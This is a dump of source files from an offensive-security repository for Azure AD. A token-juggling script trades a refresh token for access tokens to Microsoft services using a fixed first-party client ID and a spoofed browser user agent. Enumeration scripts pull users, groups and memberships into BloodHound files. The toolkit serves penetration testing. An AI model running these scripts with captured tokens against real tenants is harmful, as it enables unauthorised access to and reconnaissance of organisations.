50 | # Microsoft Teams
51 | TEAMS = 'https://api.spaces.skype.com'
52 |
53 | # Microsoft Office Apps
54 | OFFICE_APPS = 'https://officeapps.live.com'
55 |
56 | # Microsoft Office Management
57 | OFFICE_MANAGE = 'https://manage.office.com'
58 |
59 | # Microsoft Outlook
60 | OUTLOOK = 'https://outlook.office365.com'
61 |
62 | # Substrate
63 | SUBSTRATE = 'https://substrate.office.com'
64 |
65 | # Microsoft 365 Admin Center
66 | M365_ADMIN = 'https://admin.microsoft.com'
67 |
68 | # User agent to use with requests
69 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
70 |
71 | DESCRIPTION = '''
72 | =====================================================================================
73 | # Requests a new access token for a Microsoft/Azure resource using a refresh token. #
74 | # #
75 | # This script will attempt to load a refresh token from a REFRESH_TOKEN #
76 | # environment variable if none is passed with '-r' or '-R'. #
77 | =====================================================================================
78 | '''
79 |
80 | # Setup argparse stuff
81 | RESOURCE_CHOICES = [
82 | 'win_core_management',
83 | 'azure_management',
84 | 'graph',
85 | 'ms_graph',
86 | 'ms_manage',
87 | 'teams',
88 | 'office_apps',
89 | 'office_manage',
90 | 'outlook',
91 | 'substrate',
92 | 'm365_admin'
93 | ]
94 |
95 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
96 |
97 | # Set up our colors
98 | colorama.init()
99 | SUCCESS = colorama.Fore.GREEN
100 | DANGER = colorama.Fore.RED
101 | WARNING = colorama.Fore.YELLOW
102 | RESET = colorama.Style.RESET_ALL
103 |
104 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
105 |
106 | def main():
107 | """
108 | Main runner function
109 |
110 | Takes in a refresh token and target resource
111 | Returns a new access token + refresh token
112 | pair for target resource
113 | """
114 | arg_parser = argparse.ArgumentParser(prog='token_juggle.py',
115 | usage=SUCCESS + '%(prog)s' + WARNING + ' ' + \
116 | RESET +'[-r \'refresh_token\' | -R \'./path/to/refresh_token.json\']',
117 | description=DESCRIPTION,
118 | formatter_class=argparse.RawDescriptionHelpFormatter)
119 | arg_parser.add_argument('Resource',
120 | metavar='resource',
121 | type=str,
122 | help='The target Microsoft/Azure resource.\nChoose from the following: ' + \
123 | str(RESOURCE_CHOICES).replace('\'', '').replace('[','').replace(']',''),
124 | choices=RESOURCE_CHOICES)
125 | arg_parser.add_argument('-r',
126 | '--refresh_token',
127 | metavar='',
128 | dest='refresh_token',
129 | type=str,
130 | help='(string) The refresh token you would like to use.',
131 | required=False)
132 | arg_parser.add_argument('-R',
133 | '--refresh_token_file',
134 | metavar='',
135 | dest='refresh_token_file',
136 | type=str,
137 | help='(string) A JSON file saved from this script ' \
138 | 'containing the refresh token you would like to use.',
139 | required=False)
140 | arg_parser.add_argument('-o',
141 | '--outfile',
142 | metavar='',
143 | dest='outfile_path',
144 | type=str,
145 | help='(string) The path/filename of where you want '\
146 | 'the new token data (json object) saved.'\
147 | '\nIf not supplied, script defaults to '\
148 | '"./YYYY-MM-DD_HH-MM-SS__token.json"',
149 | required=False)
150 |
151 | args = arg_parser.parse_args()
152 |
153 | # Set a default outfile if none is given
154 | outfile = args.outfile_path
155 | if outfile is None:
156 | outfile = time.strftime('%Y-%m-%d_%H-%M-%S_' + args.Resource + '_token.json')
157 |
158 | # Initializing
159 | refresh_token = ''
160 |
161 | # Set our resource based on position argument
162 | if args.Resource == 'win_core_management':
163 | resource = WIN_CORE_MANAGEMENT
164 | elif args.Resource == 'azure_management':
165 | resource = AZURE_MANAGEMENT
166 | elif args.Resource == 'graph':
167 | resource = GRAPH
168 | elif args.Resource == 'ms_graph':
169 | resource = MS_GRAPH
170 | elif args.Resource == 'ms_manage':
171 | resource = MS_MANAGE
172 | elif args.Resource == 'teams':
173 | resource = TEAMS
174 | elif args.Resource == 'office_apps':
175 | resource = OFFICE_APPS
176 | elif args.Resource == 'office_manage':
177 | resource = OFFICE_MANAGE
178 | elif args.Resource == 'outlook':
179 | resource = OUTLOOK
180 | elif args.Resource == 'substrate':
181 | resource = SUBSTRATE
182 | elif args.Resource == 'm365_admin':
183 | resource = M365_ADMIN
184 | else:
185 | print(DANGER, '\nYou provided in invalid resource name.')
186 | print(RESET)
187 | arg_parser.print_help()
188 | sys.exit()
189 |
190 | # Check to see if any refresh token is given in the arguments
191 | # If both are given, will use -r
192 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
193 | if args.refresh_token is None and args.refresh_token_file is None:
194 | try:
195 | refresh_token = os.environ['REFRESH_TOKEN']
196 | except KeyError:
197 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
198 | arg_parser.print_help()
199 | sys.exit()
200 | elif args.refresh_token is None:
201 | path = args.refresh_token_file
202 | try:
203 | with open(path, encoding='UTF-8') as json_file:
204 | json_file_data = json.load(json_file)
205 | json_file.close()
206 | except OSError as error:
207 | print(str(error))
208 | sys.exit()
209 | refresh_token = json_file_data['refresh_token']
210 | else:
211 | refresh_token = args.refresh_token
212 |
213 | # Setting up our post request
214 | headers = {
215 | 'User-Agent': USER_AGENT
216 | }
217 |
218 | data = {
219 | 'client_id': CLIENT_ID,
220 | 'resource': resource,
221 | 'grant_type': 'refresh_token',
222 | 'refresh_token': refresh_token,
223 | 'scope': 'openid',
224 | 'optionalClaims': {
225 | 'accessToken': [
226 | {'name': 'acct'}, # User account status (tenant member = 0; guest = 1)
227 | {'name': 'auth_time'}, # Time when the user last authenticated
228 | {'name': 'ctry'}, # Users country/region
229 | {'name': 'email'}, # Reported user email address
230 | {'name': 'fwd'}, # Original IPv4 Address of requesting client (when inside VNET)
231 | {'name': 'groups'}, # GroupMembership
232 | {'name': 'idtyp'}, # App for app-only token, or app+user
233 | {'name': 'login_hint'}, # Login hint
234 | {'name': 'sid'}, # Session ID
235 | {'name': 'tenant_ctry'}, # Tenant Country
236 | {'name': 'tenant_region_scope'}, # Tenant Region
237 | {'name': 'upn'}, # UserPrincipalName
238 | {'name': 'verified_primary_email'}, # User's PrimaryAuthoritativeEmail
239 | {'name': 'verified_secondary_email'}, # User's SecondaryAuthoritativeEmail
240 | {'name': 'vnet'}, # VNET specifier
241 | {'name': 'xms_pdl'}, # Preferred data location
242 | {'name': 'xms_pl'}, # User's preferred language
243 | {'name': 'xms_tpl'}, # Target Tenants preferred language
244 | {'name': 'ztdid'}, # Device Identity used for Windows AutoPilot
245 | {'name': 'ipaddr'}, # IP Address the client logged in from
246 | {'name': 'onprem_sid'}, # On-Prem Security Identifier
247 | {'name': 'pwd_exp'}, # Password Expiration Time (datetime)
248 | {'name': 'pwd_url'}, # Change password URL
249 | {'name': 'in_corp'}, # If client logs in within the corporate network (based off "trusted IPs")
250 | {'name': 'family_name'}, # Last Name
251 | {'name': 'given_name'}, # First Name
252 | {'name': 'upn'}, # User Principal Name
253 | {'name': 'aud'}, # Audience/Resource the token is for
254 | {'name': 'preferred_username'}, # Preferred username
255 | ]
256 | }
257 | }
258 |
259 | # Sending the request
260 | json_data = {}
261 | try:
262 | response = requests.post(URI, data=data, headers=headers)
263 | json_data = response.json()
264 | response.raise_for_status()
265 | except requests.exceptions.HTTPError:
266 | print(DANGER)
267 | print(json_data['error'])
268 | print(json_data['error_description'])
269 | print(RESET)
270 | sys.exit()
271 |
272 | # Write the new token data to file
273 | with open(outfile, 'w+', encoding='UTF-8') as file:
274 | file.write(json.dumps(json_data))
275 | file.close()
276 |
277 | # Show the user the requested access and refresh tokens
278 | print(SUCCESS + 'Resource:\n' + RESET + json_data['resource'] + '\n')
279 | print(SUCCESS + 'Scope:\n' + RESET + json_data['scope'] + '\n')
280 | print(SUCCESS + 'Access Token:\n' + RESET + json_data['access_token'] + '\n')
281 | print(SUCCESS + 'Refresh Token:\n' + RESET + json_data['refresh_token'] + '\n')
282 |
283 | # Calculate the expired time
284 | expires = json_data['expires_on']
285 | print(SUCCESS + 'Expires On:\n' + RESET + time.ctime(int(expires)))
286 |
287 | if __name__ == '__main__':
288 | main()
289 | sys.exit()
290 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/README.md:
--------------------------------------------------------------------------------
1 | # Azure AD
2 |
3 | This set of modules are meant for targetting Azure AD data. Each module will output a set of data files for further analysis. Support is provided for bloodhound compatible data files in each module. Microsoft is deprecating the use of the Azure AD Graph API on June 30 2022. So, these modules are not going to use any of the now deprecated API calls. Rather, they will be using other available APIs including the currently supported Microsoft Graph API.
4 |
5 | ## General Functionality
6 |
7 | Each of these modules will output a set of files. All include a raw json response file and a bloodhound compatible json file. Some include a condensed json output file. Usage of these modules is flexible. You may supply the required access token, or a refresh token via script arguments. You may also define an envrionment variable that contains a refresh token. This is the recommended way, and each module will handle the token requests to get the appropriate access token type.
8 |
9 | ## Installation
10 |
11 | ```bash
12 | git clone https://github.com/blacklanternsecurity/offensive-azure.git
13 | cd ./offensive-azure/Azure_AD/
14 | pipenv shell
15 | pip install -r requirements.txt
16 | ```
17 |
18 | ## get_vms Usage
19 |
20 | ```bash
21 | usage: get_vms.py [-t|--arm_token ] [-r|--refresh_token ]
22 |
23 | ==========================================================
24 | # #
25 | # Uses Azure Resource Management API to pull a full #
26 | # list of virtual machines. #
27 | # #
28 | # If no ARM token or refresh_token is supplied, #
29 | # module will look in the REFRESH_TOKEN environment #
30 | # variable and request the ARM token #
31 | # #
32 | # Outputs a raw json output file, and a json file #
33 | # compatible with BloodHound #
34 | # #
35 | ==========================================================
36 |
37 | optional arguments:
38 | -h, --help show this help message and exit
39 | -t , --arm_token
40 | The ARM token you would like to use
41 | -r , --refresh_token
42 | The refresh token you would like to use
43 | -R , --refresh_token_file
44 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
45 | -o , --outfile_path
46 | The path of where you want the virtual machine data saved. If not supplied, module defaults to the current directory.
47 | ```
48 |
49 | ## get_resource_groups Usage
50 |
51 | ```bash
52 | usage: get_resource_groups.py [-t|--arm_token ] [-r|--refresh_token ]
53 |
54 | ==========================================================
55 | # #
56 | # Uses Azure Resource Management API to pull a full #
57 | # list of resource groups. #
58 | # #
59 | # If no ARM token or refresh_token is supplied, #
60 | # module will look in the REFRESH_TOKEN environment #
61 | # variable and request the ARM token #
62 | # #
63 | # Outputs a raw json output file, and a json file #
64 | # compatible with BloodHound #
65 | # #
66 | ==========================================================
67 |
68 | optional arguments:
69 | -h, --help show this help message and exit
70 | -t , --arm_token
71 | The ARM token you would like to use
72 | -r , --refresh_token
73 | The refresh token you would like to use
74 | -R , --refresh_token_file
75 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
76 | -o , --outfile_path
77 | The path of where you want the resource group data saved. If not supplied, module defaults to the current directory.
78 | ```
79 |
80 | ## get_subscriptions Usage
81 |
82 | ```bash
83 | usage: get_subscriptions.py [-t|--arm_token ] [-r|--refresh_token ]
84 |
85 | ==========================================================
86 | # #
87 | # Uses Azure Resource Management API to pull a full #
88 | # list of subscriptions. #
89 | # #
90 | # If no ARM token or refresh_token is supplied, #
91 | # module will look in the REFRESH_TOKEN environment #
92 | # variable and request the ARM token #
93 | # #
94 | # Outputs condensed results in a text file, a raw json #
95 | # output file, and a json file compatible with #
96 | # BloodHound #
97 | # #
98 | ==========================================================
99 |
100 | optional arguments:
101 | -h, --help show this help message and exit
102 | -t , --arm_token
103 | The ARM token you would like to use
104 | -r , --refresh_token
105 | The refresh token you would like to use
106 | -R , --refresh_token_file
107 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
108 | -o , --outfile_path
109 | The path of where you want the subscription data saved. If not supplied, module defaults to the current directory.
110 | ```
111 |
112 | ## get_group_members Usage
113 |
114 | ```bash
115 | usage: get_group_members.py [-t|--graph_token ] [-r|--refresh_token ]
116 |
117 | ==========================================================
118 | # #
119 | # Uses the Microsoft Graph API to pull a full list of #
120 | # user group membership details. #
121 | # #
122 | # If no ms_graph token or refresh_token is supplied, #
123 | # module will look in the REFRESH_TOKEN environment #
124 | # variable and request the ms_graph token #
125 | # #
126 | # Outputs condensed results in a text file, a raw json #
127 | # output file, and a json file compatible with #
128 | # BloodHound #
129 | # #
130 | ==========================================================
131 |
132 | optional arguments:
133 | -h, --help show this help message and exit
134 | -t , --graph_token
135 | The ms_graph token you would like to use
136 | -r , --refresh_token
137 | The refresh token you would like to use
138 | -R , --refresh_token_file
139 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
140 | -o , --outfile_path
141 | The path of where you want the group membership data saved. If not supplied, module defaults to the current directory.
142 | ```
143 |
144 | ## get_groups Usage
145 |
146 | ```bash
147 | usage: get_groups.py [-t|--graph_token ] [-r|--refresh_token ]
148 |
149 | ==========================================================
150 | # #
151 | # Uses the Microsoft Graph API to pull a full list of #
152 | # group details. #
153 | # #
154 | # If no ms_graph token or refresh_token is supplied, #
155 | # module will look in the REFRESH_TOKEN environment #
156 | # variable and request the ms_graph token #
157 | # #
158 | # Outputs condensed results in a text file, a raw json #
159 | # output file, and a json file compatible with #
160 | # BloodHound #
161 | # #
162 | ==========================================================
163 |
164 | optional arguments:
165 | -h, --help show this help message and exit
166 | -t , --graph_token
167 | The ms_graph token you would like to use
168 | -r , --refresh_token
169 | The refresh token you would like to use
170 | -R , --refresh_token_file
171 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
172 | -o , --outfile_path
173 | The path of where you want the group data saved. If not supplied, module defaults to the current directory.
174 | ```
175 |
176 | ## get_users Usage
177 |
178 | ```bash
179 | usage: get_users.py [-t|--graph_token ] [-r|--refresh_token ]
180 |
181 | ==========================================================
182 | # #
183 | # Uses the Microsoft Graph API to pull a full list of #
184 | # user details. #
185 | # #
186 | # If no ms_graph token or refresh_token is supplied, #
187 | # module will look in the REFRESH_TOKEN environment #
188 | # variable and request the ms_graph token #
189 | # #
190 | # Outputs condensed results in a text file, a raw json #
191 | # output file, and a json file compatible with #
192 | # BloodHound #
193 | # #
194 | ==========================================================
195 |
196 | optional arguments:
197 | -h, --help show this help message and exit
198 | -t , --graph_token
199 | The ms_graph token you would like to use
200 | -r , --refresh_token
201 | The refresh token you would like to use
202 | -R , --refresh_token_file
203 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
204 | -o , --outfile_path
205 | The path of where you want the user data saved. If not supplied, module defaults to the current directory.
206 | ```
207 |
208 | ## get_tenant Usage
209 |
210 | ```bash
211 | usage: get_tenant.py [-t|--access_token ] [-r|--refresh_token ]
212 |
213 | ==========================================================
214 | # #
215 | # If no access token or refresh_token is supplied, #
216 | # module will look in the REFRESH_TOKEN environment #
217 | # variable and request an access token #
218 | # #
219 | # Outputs results in a text file, and a json file #
220 | # compatible with BloodHound #
221 | # #
222 | ==========================================================
223 |
224 | optional arguments:
225 | -h, --help show this help message and exit
226 | -t , --access_token
227 | The access token you would like to use
228 | -r , --refresh_token
229 | The refresh token you would like to use
230 | -R , --refresh_token_file
231 | A JSON file saved from token_juggle.py containing the refresh token you would like to use.
232 | -o , --outfile_path
233 | The path of where you want the tenant data saved. If not supplied, module defaults to the current directory.
234 | ```
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_group_members.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import json
24 | import argparse
25 | import colorama
26 | import requests
27 |
28 | DESCRIPTION = '''
29 | ==========================================================
30 | # #
31 | # Uses the Microsoft Graph API to pull a full list of #
32 | # user group membership details. #
33 | # #
34 | # If no ms_graph token or refresh_token is supplied, #
35 | # module will look in the REFRESH_TOKEN environment #
36 | # variable and request the ms_graph token #
37 | # #
38 | # Outputs condensed results in a text file, a raw json #
39 | # output file, and a json file compatible with #
40 | # BloodHound #
41 | # #
42 | ==========================================================
43 | '''
44 |
45 | # Set up our colors
46 | colorama.init()
47 | SUCCESS = colorama.Fore.GREEN
48 | DANGER = colorama.Fore.RED
49 | WARNING = colorama.Fore.YELLOW
50 | RESET = colorama.Style.RESET_ALL
51 | VALID = colorama.Fore.CYAN
52 |
53 | # For use querying graph api for users and group membership
54 | USERS_ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/users?$select='
55 | GROUPS_ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/users/'
56 | GROUPS_ENDPOINT_END = '/transitiveMemberOf'
57 |
58 | USERS_SELECT_PARAMS_DICT = {
59 | 'id': 'UID_Object_ID', # unique identifier / objectId
60 | 'displayName': 'Display_Name', # Name displayed in address book
61 | 'userType': 'User_Type', # Member | Guest
62 | 'onPremisesSecurityIdentifier': 'Security_Identifier_(SID)_On-Prem'
63 | }
64 |
65 | USERS_SELECT_PARAMS = []
66 | for param_key in USERS_SELECT_PARAMS_DICT:
67 | USERS_SELECT_PARAMS.append(param_key)
68 |
69 | USERS_SELECT_PARAMS_STRING = str(USERS_SELECT_PARAMS)[1:][:-1].replace('\'','').replace(' ', '')
70 |
71 | USER_ENDPOINT = USERS_ENDPOINT_BASE + USERS_SELECT_PARAMS_STRING
72 |
73 | # For use when requesting new access tokens with refresh token
74 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
75 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
76 |
77 | # User agent to use with requests
78 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
79 |
80 | def main():
81 | """Runner method"""
82 | arg_parser = argparse.ArgumentParser(
83 | prog='get_group_members.py',
84 | usage=SUCCESS + '%(prog)s' + RESET + \
85 | ' [-t|--graph_token ]' + \
86 | ' [-r|--refresh_token ]',
87 | description=DESCRIPTION,
88 | formatter_class=argparse.RawDescriptionHelpFormatter)
89 | arg_parser.add_argument(
90 | '-t',
91 | '--graph_token',
92 | metavar='',
93 | dest='graph_token',
94 | type=str,
95 | help='The ms_graph token you would like to use',
96 | required=False)
97 | arg_parser.add_argument(
98 | '-r',
99 | '--refresh_token',
100 | metavar='',
101 | dest='refresh_token',
102 | type=str,
103 | help='The refresh token you would like to use',
104 | required=False)
105 | arg_parser.add_argument('-R',
106 | '--refresh_token_file',
107 | metavar='',
108 | dest='refresh_token_file',
109 | type=str,
110 | help='A JSON file saved from token_juggle.py ' \
111 | 'containing the refresh token you would like to use.',
112 | required=False)
113 | arg_parser.add_argument('-o',
114 | '--outfile_path',
115 | metavar='',
116 | dest='outfile_path',
117 | type=str,
118 | help='The path of where you want '\
119 | 'the group membership data saved.'\
120 | '\nIf not supplied, module defaults to '\
121 | 'the current directory.',
122 | required=False)
123 |
124 | args = arg_parser.parse_args()
125 |
126 | # Handle outfile path
127 | outfile_path_base = args.outfile_path
128 | if outfile_path_base is None:
129 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
130 | elif outfile_path_base[-1] != '/':
131 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
132 | outfile_raw_json = outfile_path_base + 'group_members_raw.json'
133 | outfile_condensed = outfile_path_base + 'group_members_condensed.json'
134 | outfile_bloodhound = outfile_path_base + 'group_members_bloodhound.json'
135 |
136 | # Check to see if any graph or refresh token is given in the arguments
137 | # If both are given, will use graph token
138 | # If no token given, will check for a refresh token file
139 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
140 | if args.refresh_token is None and args.graph_token is None and \
141 | args.refresh_token_file is None:
142 | try:
143 | refresh_token = os.environ['REFRESH_TOKEN']
144 | except KeyError:
145 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
146 | arg_parser.print_help()
147 | sys.exit()
148 | elif args.refresh_token is None and args.graph_token is None:
149 | path = args.refresh_token_file
150 | try:
151 | with open(path, encoding='UTF-8') as json_file:
152 | json_file_data = json.load(json_file)
153 | json_file.close()
154 | except OSError as error:
155 | print(str(error))
156 | sys.exit()
157 | refresh_token = json_file_data['refresh_token']
158 | elif args.graph_token is not None:
159 | graph_token = args.graph_token
160 | else:
161 | refresh_token = args.refresh_token
162 |
163 | # If we have a refresh token, use it to request the necessary graph access token
164 | if refresh_token is not None:
165 | # Setting up our post request
166 | headers = {
167 | 'User-Agent': USER_AGENT
168 | }
169 | # body of our request
170 | data = {
171 | 'client_id': CLIENT_ID,
172 | 'resource': 'https://graph.microsoft.com',
173 | 'grant_type': 'refresh_token',
174 | 'refresh_token': refresh_token,
175 | 'scope': 'openid',
176 | }
177 |
178 | # Sending the request
179 | json_data = {}
180 | try:
181 | response = requests.post(URI, data=data, headers=headers)
182 | json_data = response.json()
183 | response.raise_for_status()
184 | except requests.exceptions.HTTPError:
185 | print(DANGER)
186 | print(json_data['error'])
187 | print(json_data['error_description'])
188 | print(RESET)
189 | sys.exit()
190 | graph_token = json_data['access_token']
191 |
192 |
193 | # Getting our first (only?) page of user results
194 | headers = {
195 | 'Authorization': 'Bearer ' + graph_token
196 | }
197 | response = requests.get(USER_ENDPOINT, headers=headers).json()
198 | raw_user_json_data = {'value': []}
199 | try:
200 | response_users = response['value']
201 | except KeyError:
202 | print(response)
203 | print(f'{DANGER}Error retrieving users{RESET}')
204 | sys.exit()
205 | for user in response_users:
206 | raw_user_json_data['value'].append(user)
207 | try:
208 | next_link = response['@odata.nextLink']
209 | except KeyError:
210 | next_link = None
211 |
212 | # If next_link is not None, then the results are paged
213 | # We iterate through the paged results to build out our full user list
214 | while next_link is not None:
215 | response = requests.get(next_link, headers=headers).json()
216 | response_users = response['value']
217 | for user in response_users:
218 | raw_user_json_data['value'].append(user)
219 | try:
220 | next_link = response['@odata.nextLink']
221 | except KeyError:
222 | next_link = None
223 |
224 | # At this point we have a full user collection
225 | # We will use this collection to query group transitive membership
226 | raw_group_json_data = {'value': {}}
227 | for user in raw_user_json_data['value']:
228 | raw_group_json_data['value'][user['id']] = {
229 | 'id': str(user['id']),
230 | 'displayName': str(user['displayName']),
231 | 'userType': str(user['userType']),
232 | 'onPremisesSecurityIdentifier': str(user['onPremisesSecurityIdentifier']),
233 | 'memberOf': []
234 | }
235 | group_membership_endpoint = GROUPS_ENDPOINT_BASE + user['id'] + GROUPS_ENDPOINT_END
236 | group_membership_resp = requests.get(group_membership_endpoint, headers=headers).json()
237 | for member_of_group in group_membership_resp['value']:
238 | raw_group_json_data['value'][user['id']]['memberOf'].append(member_of_group)
239 | try:
240 | next_link = group_membership_resp['@odata.nextLink']
241 | except KeyError:
242 | next_link = None
243 | # If next_link is not None, then the results are paged
244 | # We iterate through the paged results to build out our full memberOf list
245 | while next_link is not None:
246 | group_membership_resp = requests.get(next_link, headers=headers).json()
247 | for member_of_group in group_membership_resp['value']:
248 | raw_group_json_data['value'][user['id']]['memberOf'].append(member_of_group)
249 | try:
250 | next_link = group_membership_resp['@odata.nextLink']
251 | except KeyError:
252 | next_link = None
253 |
254 | count = 0
255 |
256 | # Processing raw data
257 | condensed_group_json_data = {}
258 | bloodhound_data = []
259 | for properties in raw_group_json_data['value'].values():
260 | print(f'{VALID}[+]{RESET} {properties["displayName"]}:')
261 | condensed_group_json_data[properties['id']] = {
262 | 'id': properties['id'],
263 | 'userType': properties['userType'],
264 | 'onPremisesSecurityIdentifier': properties['onPremisesSecurityIdentifier'],
265 | 'memberOf': {}
266 | }
267 | print()
268 | print(f'{SUCCESS}Object ID{RESET}: {properties["id"]}')
269 | print(f'{SUCCESS}User Type{RESET}: {properties["userType"]}')
270 | print(f'{SUCCESS}On-Prem SID{RESET}: {properties["onPremisesSecurityIdentifier"]}')
271 | print(f'{SUCCESS}Member Of{RESET}:')
272 | for group_member_of in properties['memberOf']:
273 | count = count + 1
274 | if properties['userType'] == 'Member':
275 | user_type = 'User'
276 | else:
277 | user_type = properties['userType']
278 | if properties['onPremisesSecurityIdentifier'] == 'None':
279 | user_security_identifier = ''
280 | else:
281 | user_security_identifier = properties['onPremisesSecurityIdentifier']
282 | try:
283 | security_identifier = group_member_of['onPremisesSecurityIdentifier']
284 | except KeyError:
285 | security_identifier = ''
286 | bloodhound_data.append({
287 | 'GroupName': group_member_of['displayName'],
288 | 'GroupID': group_member_of['id'],
289 | 'GroupOnPremID': security_identifier,
290 | 'MemberName': properties['displayName'],
291 | 'MemberID': properties['id'],
292 | 'MemberType': user_type,
293 | 'MemberOnPremID': user_security_identifier
294 | })
295 | condensed_group_json_data[properties['id']]['memberOf'][group_member_of['id']] = {}
296 | print(f'\t{SUCCESS}Group{RESET}: {group_member_of["displayName"]}')
297 | for prop, val in group_member_of.items():
298 | if val is not None:
299 | condensed_group_json_data[properties['id']]['memberOf'][group_member_of['id']][prop] = val
300 | if val is not None and prop not in ['displayName','proxyAddresses','@odata.type']:
301 | print(f'\t\t{SUCCESS}{prop}{RESET}: {str(val)}')
302 | print()
303 |
304 | # Writing to raw_json_out
305 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}')
306 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_json_out:
307 | json.dump(raw_group_json_data, raw_json_out, indent=4)
308 |
309 | # Writing condensed_json_out
310 | print(f'{SUCCESS}[+]{RESET} Writing condensed data to {outfile_condensed}')
311 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_json_out:
312 | json.dump(condensed_group_json_data, condensed_json_out, indent=4)
313 |
314 | # Writing BloodHound compatible azgroupmembers.json
315 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}')
316 | bloodhound_json_data = {
317 | 'meta': {
318 | 'count': count,
319 | 'type': 'azgroupmembers',
320 | 'version': 4
321 | },
322 | 'data': bloodhound_data
323 | }
324 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out:
325 | json.dump(bloodhound_json_data, bloodhound_out, indent=4)
326 |
327 |
328 | if __name__ == '__main__':
329 | main()
330 | sys.exit()
331 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_groups.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import base64
24 | import json
25 | import argparse
26 | import colorama
27 | import requests
28 |
29 | DESCRIPTION = '''
30 | ==========================================================
31 | # #
32 | # Uses the Microsoft Graph API to pull a full list of #
33 | # group details. #
34 | # #
35 | # If no ms_graph token or refresh_token is supplied, #
36 | # module will look in the REFRESH_TOKEN environment #
37 | # variable and request the ms_graph token #
38 | # #
39 | # Outputs condensed results in a text file, a raw json #
40 | # output file, and a json file compatible with #
41 | # BloodHound #
42 | # #
43 | ==========================================================
44 | '''
45 |
46 | # Set up our colors
47 | colorama.init()
48 | SUCCESS = colorama.Fore.GREEN
49 | DANGER = colorama.Fore.RED
50 | WARNING = colorama.Fore.YELLOW
51 | RESET = colorama.Style.RESET_ALL
52 | VALID = colorama.Fore.CYAN
53 |
54 | # For use querying graph api for users
55 | ENDPOINT_BASE = 'https://graph.microsoft.com/v1.0/groups?$select='
56 |
57 | # For use when requesting new access tokens with refresh token
58 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
59 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
60 |
61 | # User agent to use with requests
62 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
63 |
64 | SELECT_PARAMS_DICT = {
65 | 'allowExternalSender': 'External_Users_Can_Talk_To_Group',
66 | 'assignedLabels': 'M365_Sensitivity_Label_Pairs',
67 | 'assignedLicenses': 'Licenses_Assigned_To_Group',
68 | #'autoSubscribeNewMembers': 'New_Members_Subscribed_Automatically', Not Implemented
69 | 'classification': 'Assigned_Classification',
70 | 'createdDateTime': 'Time_Group_Created',
71 | 'deletedDateTime': 'Time_Group_Deleted',
72 | 'description': 'Group_Description',
73 | 'displayName': 'Group_Display_Name',
74 | 'expirationDateTime': 'Time_Group_Expires',
75 | 'groupTypes': 'Group_Type',
76 | # Unified = M365 Group, DynamicMembership = Group has dynamic membership
77 | # Otherwise group is a security or distribution group
78 | #'hasMembersWithLicenseErrors': 'Members_Have_Licensing_Errors', Filter Only
79 | #'hideFromAddressLists': 'Hidden_From_Outlook_UI', Not Implemented
80 | #'hideFromOutlookClients': 'Hidden_From_Outlook_Clients', Not Implemented
81 | 'id': 'Object_ID',
82 | #'isArchived': 'Is_Group_Team_Read-Only', Not Implemented
83 | 'isAssignableToRole': 'Can_Group_Be_Assigned_To_Role',
84 | #'isSubscribedByMail': 'Is_Authenticated_User_Email_Subscribed_To_Group', Not Implemented
85 | 'licenseProcessingState': 'Group_Member_License_Assignment_Status',
86 | 'mail': 'Group_Email_Address',
87 | 'mailEnabled': 'Group_Email_Enabled',
88 | 'mailNickname': 'Group_Email_Alias',
89 | 'membershipRule': 'Dynamic_Group_Membership_Rule',
